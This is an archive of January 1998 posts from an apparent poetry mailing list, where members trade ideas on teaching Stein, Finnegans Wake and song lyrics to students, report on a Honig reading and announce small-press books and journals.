whoa there pardner. i've had success teaching stein etc; the trick is to tell students right up front that it's *spozed* to be playful and nonsensical and their job is to get with that program, not to decode for some secret deep meaning. although i also do a lot of decoding with/for them, cuz i do think stein is a lot about puns. also we do a lot of reading aloud w/ stein, and talk about "non-normative" or "non-narrative" writing. just give 'em the context and watch 'em go. you could, tho, challeng what i mean by "success" in this context. if a few students get it, and get excited, that's good enough for me. mostly i just enjoy teaching stein so much that i think my enthusiasm may blind me to whether i'm "getting across."

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161. **rsillima**
Duncan
Wed 7 Jan 1998

Robert Duncan would have been 79 today. So I read the "new" interview with him in the new Chicago Review (lots of good stuff in that issue, including pieces by Alan Golding, Jed Rasula, Anne Carson, Amiri Baraka and Keith Tuma).

Impossible to imagine what the owl-eyed master of rime would have been like on something like the Poetics List. But we can be certain it woulda been something else,

Ron

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162. **William Marsh**
Re: htmlability and poetry webring
Wed 7 Jan 1998

At 03:42 PM 1/7/98 -0600, tom bell wrote:
 So, to answer your query Miekal, I would say the
>>ring would get you a fair amount of readers, but I'm not sure how many
>>would be interested enough to make it worthwhile. I have started some
>>linking with work that I've seen and liked and think that might be a
>>better way to go. BTW, William, do you have a URL to share with us?
>>tom bell

i admit feeling more interested in and exciting by what tom touches on here -- a word-of-mouth (word-of-web?) ring linking liked and like-minded sites / my URL is now available below, and i'll repeat my call from my promotional post of a few days ago: any who'd be interested in collaborating (linking pages would be the first and easiest kind of collab i'd be interested in), please let me know backchannel or to the list, as appropriate

ringing off for the day,
bmarsh

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
- -

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163. **dbkk**
Hard Press
Wed 7 Jan 1998

> *X-Authentication-Warning: mail4.sirius.com: dbkk set sender to*
> *[redacted] using -f*
> *From: "David & Kathleen Seidel" <[redacted]>*
> *To: <[redacted]>*
> *Subject: Hard Press*
> *Date: Wed, 7 Jan 1998 17:03:20 -0500*
> *MIME-Version: 1.0*
> *X-Priority: 3 (Normal)*
> *X-MSMail-Priority: Normal*
> *Importance: Normal*
> *X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4*
> *Status: U*
>
> *I would like to welcome you to visit the newly expanded website of Hard Press, http://hardpress.com, a publisher of contemporary poetry, fiction and art books, and the quarterly journal Lingo.*
>
> *The site includes substantial excerpts from all of our books; many poems, stories and articles originally published in Lingo; a comprehensive index; and a random link feature whereby one can move from any page on the site that contains literary or artistic content to any other. It's a fun way to navigate and to discover new writers.*
>
> *Our authors include Dodie Bellamy, Jim Brodey, Tom Clark, Clark Coolidge, Lynn Crawford, Tony Fitzpatrick, Merrill Gilfillan, Michael Gizzi, Andrew Joron, Kevin Killian, Frank Lima, Gillian McCain, Bernadette Mayer, Albert Mobilio, Raphael Rubinstein, Linda Smukler, and Miriam Solan, as well as many more who have published in Lingo.*
>
> *Best regards,*
>
> *Kathleen Seidel*
> *Hard Press webmaster*

↑ Index

164. **Sawako Nakayasu**
teaching high school kids
Thu 8 Jan 1998

Thanks to everyone who gave me input & ideas. The glory of the school where I work is that it's absolutely tiny (about 50 students), and not all that

conservative. Once I get permission to teach the class, I suspect I'll have quite a lot of freedom to do what I will. One of my goals is to help students understand the relevance of poetry, or even if they could just begin to see the infinite and amazing capacities of language, I'd be pleased. I didn't necessarily mean to involve tv itself, but since it's something that they seem to think is an important part of their lives, it might be good to challenge that and make them decide what's special about it. I also like the pop songs/poetry connection, and I love the thought of Stein & Seuss. I imagine that the responses will vary among the students, so I'd want to take things from as many different angles as I have time for. I think I'd like to present poetry as a real, living part of our culture, society, etc, and try to undo the perception that it exists only within and for the small subset of people who are holed up in their rooms seeking some deeper meaning to life...or that it is just some boring strange segment of their lit books where they study alliteration, assonance, and rhyme. Thanks for your help...I'll let you know when it finally happens!

Sawako

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165. Miekal And
teaching the difficult bobogali
Thu 8 Jan 1998

I think my all time favorite book for getting highschool kids excited about what language can do is Bob Cobbing's book Bill Jujube. (I dont have the book in front of me, spelling may be wrongish). It is a book of short syllable concatentations that are word music in every way. These texts work well for have a class read them outloud together, in rounds, as fast as they can, with different voices, essentially performing thru their fears. I find that is you give context & meaning a break, the one's in the class that are more uncertain get a chance to trust their own voice, their own writing & then by extention seek to understand other writing.

miekal

altho I have to admit that the thot of 6 year old reading finnegan's wake makes far more sense then the texts 6 years olds are normally "forced" to read.

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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166. **rsillima**
(no subject)
Thu 8 Jan 1998

Kasey says...

"_Gunslinger_ for high school students? _Private_ high schoool students? Good luck. Stein and Seuss sounds like a fruitful conjunction to me, but again I worry (based on my own experience teaching "Writing About Poetry" to Stanford freshpersons) that the obtuseness of Stein or Dorn might be off-putting to considerably sheltered and privileged young adults who more than likely have been indoctrinated with ideals of success, rationality, and pragmatic communication. I've found that these kinds of students tend to want order, sense, and meaning in poetry, and that absurdity pisses them off (even in controlled doses such as in, say, Stevens' "Emperor of Ice Cream"). I worked hard over two quarters trying to get across the idea that language can do other things than relay factual or didactic information, with only limited success.

"In a situation like that, I think that canonical texts--Shakespeare, Pope, Frost, etc.--really do make good primers for introducing students to the building blocks of poetry, even if your aim is later to knock those blocks down and show how language can perform radical acts of disruption, blah blah blah. More to the point, I think it may be more persuasive to show that those texts can be as disruptive, in their apparent sane docility, as poems by Stein, et al., than to hit students over the head immediately with jagged-edged chunks of "resistant" discourse."

I have two boys who don't turn six until next week who've had no trouble wading through the first 60 pages of Finnegan's Wake, every word. Obtuseness or difficulty or whatever is really a learned condition. As Kit Robinson once observed, the only people who ever found language poetry "difficult" were English majors at the college level. I think Dorn's use of the rhetoric of the comic would work well at least with the boys in the class.

Ron

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167. **hg**
honig redux
Thu 8 Jan 1998

Will try to improve BRIEFLY on tired flaccid report on Honig reading.

Transit Bookshop is in Fox Point, old Portuguese waterfront neighborhood which lingers on despite seemingly permanent crippling by I-95 freeway built directly across the wharf area. Honig has long affinity with Portugal based on translations of F. Pessoa (for which he was knighted by Portuguese gov't). Transit, as in Transit St., named after Ben Franklin visited Providence & made astronomical observations of transit of Venus there.

One reason Honig is perhaps little-known in this period, besides living in provincial town, being old & retired from teaching, etc., is that his poetry offers few exterior props. There are no obvious stylistic trappings, no "scheme", no sentiment, no overt philosophy. There is love, hope, memory, fear, wonder - but any certainty or idealism is dissolved in irony & humor. Honig is an expressionist, existentialist (I can't think of a better word), word-painter; his talent for sharp observation curiously reminds me of Emily Dickinson - there is a drawing on deep wells of renaissance & metaphysical vocabulary without hint of archaism or traditionalism.

Here is one of his more abstract or formulaic poems (the only one I have handy). Imagine it being read, say, by a WC Fields crossed with Wallace Stevens.

LYING ON THE HALF-TRUTH

No one at the station
meets no one one the train.
Train starts up again,
takes away the station.

Yesterday's
the other-won't-
ever-reappear
place

bursting-brave-
new-opening
into the then-
clear-day

sliding by with
all its own
maybe-now-
when-of-it

chafing thought
squelched by
asking
then-and-there

Did it ever happen?
Was I in it?
How was it to be that
where-and-when now?

- Edwin Honig

(from Nedge #4, 1996)

↑ Index

168. Michael Magee
Re: teaching the difficult
Thu 8 Jan 1998

I've taught Stein to Freshman the last two years with a fair amount of sucess, parts of Tender Buttons, the Portrait of Picasso - I start by playing them Stein's reading of "P of P" which is beautiful and rhythmic and helps them to understand the humor of the thing - there's a real pleasure to hearing it, reading it, as I suspect there was to writing it and my kids got that. I also asked them to imagine it formally before seeing how Stein laid it out on the page, which was an innocuous way to begin talking about the relativity of form versus its necessity. Then there's just pointing to things they're familiar with: eg that "please pale hot, please cover rose" is a kind of homophonic translation of "peas porridge hot, peas porridge cold" and that it occurs in the section called "Food," a kind of cleverness which they tend to appreciate and which makes them want to look harder, and you can start talking about how we're socialized by language games such as nursery rhymes, something they all tend to understand since the poor sonsabitches grew up reciting things like "the little engine that could." Of course there'll always be a few people who think its bullshit but that's the breaks. -m.

According to
[redacted]: > > Kasey says... >
> "_Gunslinger_ for high school students? _Private_ high schoool students?
> Good luck. Stein and Seuss sounds like a fruitful conjunction to me, but
> again I worry (based on my own experience teaching "Writing About Poetry"
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>
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> Frost, etc.--really do make good primers for introducing students to the
> building blocks of poetry, even if your aim is later to knock those blocks
> down and show how language can perform radical acts of disruption, blah
> blah blah. More to the point, I think it may be more persuasive to show
> that those texts can be as disruptive, in their apparent sane docility, as
> poems by Stein, et al., than to hit students over the head immediately with
> jagged-edged chunks of "resistant" discourse."
>
> I have two boys who don't turn six until next week who've had no trouble
> wading through the first 60 pages of Finnegan's Wake, every word. Obtuse-
ness
> or difficulty or whatever is really a learned condition. As Kit Robinson
> once observed, the only people who ever found language poetry "difficult"
> were English majors at the college level. I think Dorn's use of the rhetoric
> of the comic would work well at least with the boys in the class.
>
> Ron
>

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169. David R. Israel
Re: teaching h.s. kids
Thu 8 Jan 1998

William Marsh notes,

> *rebus, etc. to show how poetry begins with language / the lyrics of Beck and R.E.M. are rich with "stretched-sense" and might provide a good starting point for teaching risk*

hmmm -- R.E.M.'s "Losing My Religion" has long been a point of fascination --

that's me in the corner
that's me in the spotlight losing my religion . . .

& what music;

when (mid-'60s) I was abt. 10-11 years old (at our So.Calif. Quaker school), we sat around on the lawn and read thru mimeos of Simon & Garfunkel lyrics, by way of poetry study.

I'd vote for David Byrne's sharp-ambiguous lyrics as another candidate (esp. note the album (ECM label) of his collaboration w/ Robert Wilson, KNEE PLAYS

(I think is the title) -- since, for one thing, those are all spoken rather than sung; -- & good stuff too) --

for that matter, blues lyrics could be a route of intro-to-po-study?

d.i.

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170. **David R. Israel**

Re: Tea Ceremony Races / Idoru - W.Gibson

Thu 8 Jan 1998

Alan,

> *Fukuoka hosted the first National Tea Ceremony Races yesterday;*
> *. . . The winner, Ichiro Azato, com- pleted the full ceremony in*
> *16 seconds, . . . For those who don't know, the usual ceremony*
> *can last up to three hours. . . .*

amazing. Okakura rolling in his grave (as it were)? BTW, maybe a year or so ago, there opened in DC a likable establishment known as TEAISM (right next to a Starbuck's, on R Street NW, near Connecticut -- at the start of the couple blocks of R Street that have long been established as the genteel art-gallery-ghetto of this city. Place boasts quite an assortment of black, green & white teas as well as pan-Asian cuisine. (The "ism" lends the right dose of theory veneer to the place-concept, presumably.)

> *Alan - there are times I _really_ have culture shock here!*

Speaking of this -- just finished reading William Gibson's enjoyable latst novel, IDORU (published late 1996), most of which takes place either in cyberspace or a mid-21st century Tokyo. Lotta fine Gibsonian extrapolation goin' on; uncle david gives it five stars.

Not, I think, to give too much away, the Idoru ("idol") proves to be an artificial-intelligence construct & pop star . . . -- for any who read it, a thought: the character Laney's notion of "nodes" reminds, if vaguely, of what Jung called constellation [as transitive verb] of archetypes -- though the comparision is a bit problematical --

d.i.

↑ Index

171. Marcella Durand
Re: National Henry-in-the-Schools Program
Thu 8 Jan 1998

Record yourself in your own tv show. In the course of this "show," which should ideally involve car crashes & lust triangles, insert some of your favorite lines (but avoid using entire poems, unless they're very short). It doesn't matter if the poetry is abstract, difficult and experimental, since tv is essentially that way anyhow. Then declare a "movie day" and haul the school vcr up to class to play your "show." Your students will be transfixed.

From: Sawako Nakayasu
Sent: Wednesday, January 07, 1998 1:42 AM
To: [redacted]
Subject: Re: National Henry-in-the-Schools Program

I teach at a tiny private high school in San Diego--and am in the process of trying to talk my way into teaching a poetry class. I have a few ideas of my own, but I'd love some input on what kinds of poems (and teaching techniques) I might use to induce some excitement about the subject when dealing with teenagers, many of whom are serious TV addicts. Anyone have experience with this?

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172. Mark Prejsnar
Re: teaching the difficult
Thu 8 Jan 1998

I was struck by Michael Macgee's point about playing Stein for students. I've never taught, nor even been very close to doing so, in any formal sense. But I really do think that Michael's experience with the Portrait of Picasso is an excellent signpost for how to put good poetry across to people. This may (like many a bias I have) derive from my highly formative early training in music. But good (even, just interesting) readers can have a huge impact. Stein is one of the great examples, for all the apparent dryness of her approach when you first hear it. I believe that (in very different ways: one dry yet musical, the other floridly musical, in a way that is so peculiar it takes some getting used to) Oppen and Pound are two who can become much more accessible to people if they hear the available tapes. Oppen is my personal favorite, and in my opinion about the best reader I've ever heard. The two-cassette Pound set has been, for me personally, a remarkably functional tool for thinking through issues about his technique and impact (and listening to it is a fairly astonishing experience in and of itself). One other thing occurs to me (quite relevant, in our rock & roll

culture). Both these sets of recordings, made in what could be called old age (and that's audible), are remarkable demonstrations of the power and intensity of elders.

Mark P.

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173. Chris Piuma
Re: teaching h.s. kids
Thu 8 Jan 1998

Wow, the obligation to respond to this one is overwhelming!

David R. Israel showed great grace and sensitivity to write on 98.01.08:

> *William Marsh notes,*
> *rebus, etc. to show how poetry begins with language / the lyrics of*
> *Beck and R.E.M. are rich with "stretched-sense" and might provide a*
> *good starting point for teaching risk*
> *hmmm -- R.E.M.'s "Losing My Religion" has long been a point of*
> *fascination --*
>
> *that's me in the corner*
> *that's me in the spotlight losing my religion . . .*
>
> *& what music;*

Yeah, but if you go with early R.E.M., then you get really "stretched-sense" lyrics:

HARBORCOAT

They crowded up to Lenin with their noses worn off
A handshake is worthy if it's all that you've got
Metal shivs on wood push through our back
There's a splinter in your eye and it reads "REACT"

They shifted the statues for harboring ghosts
Reddened their necks, collared their clothes
Then we danced the dance till the menace got out
She gathered the corners and called it her gown

Please find my harborcoat, can't go outside without it
Find my harborcoat, can't go outside without it

[etc.]

Which leaves out two things that make the text even more interesting: first, Stipe's habit of not speaking the words clearly in order to allow multiple meanings (Is it "Metal shoes on wood, pushed through our backs"? Stipe wants your

ears to guide you to the meaning that works best for you.); and second, that there is a second lyric being sung at the same time during all but the first verse.

It is no accident that two of the FAQ maintainers for rec.music.rem are also big fans of this disjunctive poetry stuff...

-- Chris [Steve] Piuma, etc. Nothing is at: http://www.brainlink.com/~cafard [Editor of _flim_, Keeper of the R.E.M. Lyric Annotations FAQ, MST3K #43136] ....this message brought to you by the letters N and W and the number 36.... You deploy your favorite logical operator herein. Or not. --Ron Henry, "Whom"

↑ Index

174. Heather Starr
Re: Olson and Subjectivity
Thu 8 Jan 1998

Last year’s panle explored the reception of Olson’
s poetics by women, interrogating
> constructions of gender and sexuality in his work while seeking to
> evaluate the contemporary relevance of his poetics.

I'm curious (though aware that this may be a big question): what conclusions were drawn about the constructions of gender & sexuality in Olson's work?

Heather Starr
work: [redacted]
home: [redacted]

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175. Kasey Silem Mohammad Hicks
Re: teaching h.s. kids
Thu 8 Jan 1998

> *William Marsh notes,*
>
> *rebus, etc. to show how poetry begins with language / the lyrics of Beck and R.E.M. are rich with "stretched-sense" and might provide a good starting point for teaching risk*
>
> *hmmm -- R.E.M.'s "Losing My Religion" has long been a point of fascination --*
>
> *that's me in the corner*
> *that's me in the spotlight losing my religion . . .*

> *& what music;*
>
> *when (mid-'60s) I was abt. 10-11 years old (at our So.Calif. Quaker school), we sat around on the lawn and read thru mimeos of Simon & Garfunkel lyrics, by way of poetry study.*
>
> *I'd vote for David Byrne's sharp-ambiguous lyrics as another candidate (esp. note the album (ECM label) of his collaboration w/ Robert Wilson, KNEE PLAYS (I think is the title) -- since, for one thing, those are all spoken rather than sung; -- & good stuff too) --*
>
> *for that matter, blues lyrics could be a route of intro-to-po-study?*
>
> *d.i.*

For sheer linguistic richness and metaphysical joyriding (with a healthy dose of decapitation imagery, make of that what you will), I cast my vote for the twin John Donnes of pop, They Might Be Giants. I used their "Shoehorn with Teeth" along with Robert Johnson and The Beastie Boys for a one-day song-lyric session in my Writing About Poetry course, and got some relatively lively responses. Lively, that is, for students who uniformly cringed at Williams' "Danse Russe," whimpering about its "perversion," and who stared at Ashbery's "Farm Implements and Rutabagas in a Landscape" as though I had set a dog turd on the desk.

Back on track, They Might Be Giants are full of logical paradoxes, wordplay, and cultural (literary, political, historical, etc.) allusions, and their ostensibly light-hearted music provides a good backdrop for discussions of tonal irony. Like Beck, REM, and David Byrne, they combine an uncommonly articulate sensibility with a capacity for reshaping trash into thought-fodder. You gots to check it out.

Kasey

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176. Kasey Silem Mohammad Hicks

Re: Sillimans Wake

Thu 8 Jan 1998

> *I have two boys who don't turn six until next week who've had no trouble wading through the first 60 pages of Finnegan's Wake, every word.*

Well, _duh_. They've probably been hearing their dad's poetry since they were zygotes, and Joyce must sound like Richard Scarry by comparison.

> *Obtuseness or difficulty or whatever is really a learned condition. As Kit Robinson once observed, the only people who ever found language poetry*

> *"difficult" were English majors at the college level. I think Dorn's use of the >rhetoric of the comic would work well at least with the boys in the class.*
>
> *Ron*

You would think so, but most of these kids were trained from an early age to cover their ears and make whooping sounds when anyone mentions anything the slightest bit non-referential. To be fair, they were largely athletes and un-declared (Capitalism majors).

Earn more sessions by sleeving,

Kasey

↑ Index

177. William Marsh

song lyricists (was teaching h.s....)

Thu 8 Jan 1998

At 08:39 AM 1/8/98 -0500, David wrote:
>
>for that matter, blues lyrics could be a route of intro-to-po-study?
>
without a doubt, and seconds on your nomination of David Byrne ("Remain in Light" also - one of my all-time favs) / have to re-iterate my ref to Beck, tho, who more recently i think wins the "chew on this" award for lyrics: "got a devil's haircut in my mind" -- ouch! -- or "she's alone in the new pollution" / other new song lyricists out there people like?

bmarsh

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
- -

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178. **Eryque Gleason**
Re: Tea Ceremony Races / Idoru - W.Gibson
Thu 8 Jan 1998

---

i think i read in wired magazine about a year ago that there was an actual pop star in japan that was allcomputer animation, the gag was to have concerts with this huge computer girl singing with the music who could be programmed to lip-sync in just about any language.

wonder if they're cousins maybe?

happy thursday!
eryque

> *Not, I think, to give too much away, the Idoru ("idol") proves to be an artificial-intelligence construct & pop star . . . -- for any who read it, a thought: the character Laney's notion of "nodes" reminds, if vaguely, of what Jung called constellation [as transitive verb] of archetypes -- though the comparision is a bit problematical --*
>
> *d.i.*

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179. **Gwyn McVay**
Re: song lyricists (was teaching h.s....)
Thu 8 Jan 1998

> *other new song lyricists out there people like?*

hardly new, but I remain fond of Neil Diamond's lyric:

I am, I said
To no one there
And no one heard me,
Not even the chair.

Besides the rather obvious "Waste Land" allusion in the first line, and indeed in the poem's tenor itself (1), the implications of the tremendous disaffection of someone who is so sensitive (not unlike Malte Laurids Brigge) that he *normally* hears emotional empathy from the furniture, and then *ceases* to hear it--who can imagine the agony of the speaker whose inanimate confidant retreats into its role as a mundane object? For that matter, /pace/ Charlotte Perkins Gilman, what color is Mr. Diamond's speaker's wallpaper?

(1) See also the treatment of a similar theme in "Let it Grow," poem by Robert Hunter, musical arrangement by Jerry Garcia.

P.E. Dant

↑ Index

180. William Burmeister Prod
Re: reading in Providence
Thu 8 Jan 1998

Henry wrote:

> *The 1st thing he said*
> *after finishing was, "I read somewhere that science can retrieve voices -*
> *what's been said - from anytime in history." People laughed & somebody*
> *said "you've been reading science fiction."*

Thanks Henry for this. Whimsical thought not at all unlike the (plausible) notion that there are original episodes of _I Love Lucy_, or FDR's Dec 8 '41 Pearl Harbor speech, floating around the galaxy still just waiting to be picked up. Then there were Arthur C.Clarke's investigations into whether walls could "remember" past images and sounds.

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181. henry
Re: reading in Providence
Thu 8 Jan 1998

Bill, have you tried using your crystal radio? we may be onto something here! Knock it upside the head with a needle after you plug it into the compost! I'm hearing voices....

- Henry

↑ Index

182. Jacques Debrot
Re: Sillimans Wake
Thu 8 Jan 1998

Ron Silliman wrote:

"Obtuseness or difficulty or whatever is really a learned condition."

On the other hand, the anxiety that, for instance, my students have felt about *Finnegan's Wake* (to continue the example) is not simply a "learned condition" but a reasonable response to the relationship of inequality that Joyce predicates between the reader and himself. As Bob Perelman points out in *The Trouble with Genius*, the play of meaning in *FW* is more "precise" than it is "free": "Many specific meanings are explosively packed into the words: a phrase may

implicate seven meanings, but these can be explicated. . . . "As burdens of reading [works such as *FW*] can force us into situations of permanent debt -- a freedom to read that entails submission to endless free-play where the playground is an already written page reconstituted by professional interpretation."

↑ Index

183. Safdie Joseph
Re: song lyricists (was teaching h.s....)
Thu 8 Jan 1998

Gwyn McVay says (in part):

> I remain fond of Neil Diamond's lyric:
>
> I am, I said
> To no one there
> And no one heard me,
> Not even the chair.
>
> Besides the rather obvious "Waste Land" allusion in the first line,
> and
> indeed in the poem's tenor itself (1), the implications of the
> tremendous
> disaffection of someone who is so sensitive (not unlike Malte Laurids
> Brigge) that he *normally* hears emotional empathy from the furniture,
> and
> then *ceases* to hear it--who can imagine the agony of the speaker
> whose
> inanimate confidant retreats into its role as a mundane object?
>

Then again, perhaps the speaker was just following the practice of the talking horse, as detailed in an earlier post by Ms. Dant.

On a (slightly) more serious note: has there even been a panel at the MLA that discussed the relation of psychoactive drugs to poetic practice? Possibly even more, ah, illuminating, than gender in Charles Olson -- (or Duncan!)

↑ Index

184. Mark Wallace
new Tom Mandel from Zasterle books
Thu 8 Jan 1998

I just want to put in a plug for the new Tom Mandel book, ANCESTRAL CAVE, just out from Zasterle Press--really fine work! For me personally it ranks

up there with my two other favorite books by Tom, REALISM and PROSPECT OF RELEASE. This new one moves from scenes of personal intimacy to the broadest kinds of cultural and philosphical reflection with very impressive CASUALNESS, I almost want to say.

Zasterle has done some other quite fine books in the last year, among them Gil Ott's THE WHOLE NOTE, Allen Ginsberg's LUMINOUS DREAMS which arrived with a kind of terrible sadness, and Nick Piombino's LIGHT STREET, which is so good someone actually stole it from my office--how often does THAT happen to a book of poetry?

I'm pretty sure that Manuel Brito, who publishes Zasterle, lurks around this list somewhere. Perhaps he would be so good as to post an annoucement of his recent books and how they can be purchased?

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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185. William Burmeister Prod

Re: reading in Providence

Thu 8 Jan 1998

On Jan 8, 2:10pm, henry wrote:
> Subject: Re: reading in Providence
> Bill, have you tried using your crystal radio? we may be onto something
> here! Knock it upside the head with a needle after you plug it into the
> compost! I'm hearing voices....
>
> - Henry
>-- End of excerpt from henry

No, compost won't do; nothing short of Ecuadorian bat guano will do. Then and only then will you hear original Ed sullivan show Elvis dubbed in Quechua.

- William

↑ Index

186. **Henry G**
Re: Sillimans Wake
Thu 8 Jan 1998

On Thu, 8 Jan 1998 14:13:44 -0500 Jacques Debrot said:
>Ron Silliman wrote:
>
>"Obtuseness or difficulty or whatever is really a learned condition."
>
>On the other hand, the anxiety that, for instance, my students have felt
>about *Finnegan's Wake* (to continue the example) is not simply a "learned
>condition" but a reasonable response to the relationship of inequality that
>Joyce predicates between the reader and himself. As Bob Perelman points out
>in *The Trouble with Genius*, the play of meaning in *FW* is more "precise"
>than it is "free": "Many specific meanings are explosively packed into the
>words: a phrase may implicate seven meanings, but these can be explicated. .
>. . "As burdens of reading [works such as *FW*] can force us into situations
>of permanent debt -- a freedom to read that entails submission to endless
>free-play where the playground is an already written page reconstituted by
>professional interpretation."

But is that the author's fault or the scholar-allegorists'? Didn't Joyce sort of recognize in advance what the "scholarship industry" was about? And is the written page what FW is about? After Honig's reading last night I'm wondering if the "economy of presentation" [fake scholarly phrase alert] of the genuine article, whatever it may be, begins with and returns to the sound of somebody reading aloud. Isn't that where the free play really starts with FW? Ash Figeen sayeath inno chimpento chippeteer Daily Numino Swoono: "Sawng, sawng, me boughcreakin whither- loggid boot -- fare thee price of the oar soils narticle, ifna snorr sternly allwist on shore."

People blame artists for having a deep agenda & encoding it for all it's worth. But dagnab it all, that's part of the FUN of it for the conny artist!! There's always the risk of losing the audience - that's part of the FUN of it too! Start of Paradiso, bk 3 of Divine Comedy, (or is it bk 2?) Dante says, "we're going into the open sea, deep waters ahead, all you little boats better go back to shore..."

Just one side of this issue... - Hank "Gatemouth Harmonica" Gould

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187. Daniel Zimmerman
Re: reading in Providence
Thu 8 Jan 1998

I've heard that the first tv transmission powerful enough to escape the earth--the first thing any Other Interesting Guys Out There [OIGOTs] will tune in on is Hitler opening the '36 Olympics. After that, a rather long silence, then . . . Kulka, Fran & Ollie? [Earth is safe: that's better than a Star Wars defense system. . . unless, of course, the little green guys are cats].

Dan Zimmerman

henry wrote:
>
> Bill, have you tried using your crystal radio? we may be onto something
> here! Knock it upside the head with a needle after you plug it into the
> compost! I'm hearing voices....
>
> - Henry

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188. Gwyn McVay
psychepoedelics
Thu 8 Jan 1998

Not at this *past* MLA ("Convention attendees are hereby advised not to eat the brown acid before interviews"), but somebody wrote a book:

/Poetic Vision and the Psychedelic Experience/, by R.A. Durr, Dell, 1970. Cheesy cover with wavy type, but the book is actually pretty thorough--discusses all the usual white male suspects you'd expect in a book about the ecstatic vision: the Transcendentalists, Coleridge, Blake to Whitman to Ginsberg, Shelley, and then a few non-usual suspects, like Chuang Tzu. It doesn't seem to mention the Henri Michaux parable of the tripping spider that's included in /Tent Posts/, S&M's Green Integer #4.

g. roovy

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189. Herb Levy
Re: Sillimans Wake
Thu 8 Jan 1998

Jaques Debrot wrote:

> *Ron Silliman wrote:*
>
> "*Obtuseness or difficulty or whatever is really a learned condition.*"
>
> *On the other hand, the anxiety that, for instance, my students have felt about *Finnegan's Wake* (to continue the example) is not simply a "learned condition" but a reasonable response to the relationship of inequality that Joyce predicates between the reader and himself. As Bob Perelman points out in *The Trouble with Genius*, the play of meaning in *FW* is more "precise" than it is "free": "Many specific meanings are explosively packed into the words: a phrase may implicate seven meanings, but these can be explicated. . . . "As burdens of reading [works such as *FW*] can force us into situations of permanent debt -- a freedom to read that entails submission to endless free-play where the playground is an already written page reconstituted by professional interpretation.*"

Yeah, but the sense that that's the way you have to deal with Joyce & Finnegans Wake IS a learned condition. The inequality between a reader and Joyce is only there if the reader thinks (or is taught) they have to figure out every nuance of every portmanteau word, understand the deep structure organizing the text, recognize all of the sigla at every appearance & then ascertain that all of the references & jokes they find in the work were all put there by Joyce to begin with. The book can be read succesfully without feeling the need to solve every puzzle by readers at varying levels.

I have no expereince with readers as young or unschooled as Ron's twins, in two different reading group experiences, both including academics and non-academics (some of the latter had no college literature background, & now that I think of it, one had no college at all), no one had any trouble getting what was going on just by reading it out loud.

Granted, no one "got" all of the neo-Finno-Uggaritic puns, but if one keeps reading FW past whatever it is you don't understand, you always figure out enough to get to the next muddy part.

If you can get people to treat it like a weirdly written story instead of a source of scholarly footnotes, they'll get what's going on.

The problem isn't simply that people are too dense to understand something this complex (& I don't mean to belittle the very real problem of college students not caring about any information that won't help get them a job) there's the related problem of what is considered teachable.

Especially with a text as dense & rich as Finnegans Wake, which virtually no one masters in a life time, getting folks to turn enough pages on their own to see that there's something worth going back to may be the best lesson possible.

Herb Levy
[redacted]

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190. **henry**
Re: reading in Providence
Thu 8 Jan 1998

On Thu, 8 Jan 1998 14:59:45 -0500 William Burmeister Prod said:
>
>No, compost won't do; nothing short of Ecuadorian bat guano will do. Then and
>only then will you hear original Ed sullivan show Elvis dubbed in Quechua.
>

- Aha! Watson, quick, this way! Now listen closely: WHY did Melville have Ahab nail a doubloon from Quito, ECUADOR to the mast of the Pequod???

- No idea, Holmes.

- [shrugging his shoulders] Not important. All things being equal, I think we can fairly say Melville leaves it up to the reader. [mischievous glint in his eye] Let me know if you find anything, Doctor.

[Watson goes back to reading about rock lyrics in ROLLING STONE.]

- SPANDRIFTNONASEAOFOLD HEARTBREAKS....

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191. **David Golumbia**
Re: psychepoedelics
Thu 8 Jan 1998

Gwyn McVay wrote:
>
> Not at this *past* MLA ("Convention attendees are hereby advised not to
> eat the brown acid before interviews")

After all these years... it's good to find out what I did wrong! I knew I shouldn't have trusted jonathan goldberg ... & what with galway kinnel's famous "mouseketeer" blotter... & the less famous joel fineman windowpane... how did i choose so badly...

--
[redacted]
David Golumbia

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192. SSSCHAEFER
Various Invitations
Thu 8 Jan 1998

Paul Vangelisti asked me to post this invitation to the listserv.

He's putting together an issue of Ribot (an annual report of the College of Neglected Science) which will have these parameters: poets 30 and under and poets 65 and over. The issue should be fairly international. I've seen a few of the submissions from Italy and it looks like it will be a strong issue. Anyone who wants to submit and can do so before February 1, 1998 should send their work to P.O. Box 65798 Los Angeles, CA 90065. Kinda odd for a theme but also sort of interesting.

Also, I wanted to announce to all contributors to Rhizome 2, the issue should be out in early to mid February and you will receive your copies shortly thereafter.

Rhizome 2 will include work from Barbara Guest, Ray DiPalma, Bernadette Mayer, Rosmarie Waldrop, Nick Piombino, Nico Vassilakis, Noemie Maxwell, Douglas Messerli, Martha Ronk, Franklin Bruno, Dennis Phillips, Paul Vangelisti, Bruce Andrews, David Bromige, Norma Cole, Mark Wallace, Steve Carl, John Yau, Jacques Debrot and a whole host of others.

Artwork by Dennis Oppenheim and others as well as a full review/essay section including an essay on Japanese suicide notes as a genre.

Also, Rhizome will be running two newly translated Mexican fiction writers: Fabio Morabito and Jaime Villarreal. (Trans. Geoff Hargreaves)

Anyone interested in subscribing should either send a check for $10 to Stan Schaefer, 366 S.Mentor Ave. #108, Pasadena CA 91106 or visit the LA BOOKS web site at www.litpress.com.

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193. louis stroffolino
Re: song lyricists (was teaching h.s....)
Thu 8 Jan 1998

Safdie---I don't know about drug panels, but I know the MLA has consistently rejected proposed panels for PUNK MUSIC--- once again attesting to the normative bias of culture studies being more interested in movies and sports than such.... -------- Well, I used to teach (not in a poetry class but in a composition class) alot of song lyrics, one of my fav. comparison contrasts topics was comparing tracey chapman's "talkin' about a revolution" (which by the way i think

is included in xjkennedy type anthologies) to dylan's "times they are a changing" and prefering the latter (chronologically the former) partially on the grounds that it doesn't have the pat ending of chapman's ('finally the tables are starting to turn"-----). chris

On Thu, 8 Jan 1998, Safdie Joseph wrote:

> *Gwyn McVay says (in part):*
>
> *I remain fond of Neil Diamond's lyric:*
>
> *I am, I said*
> *To no one there*
> *And no one heard me,*
> *Not even the chair.*
>
> *Besides the rather obvious "Waste Land" allusion in the first line, and*
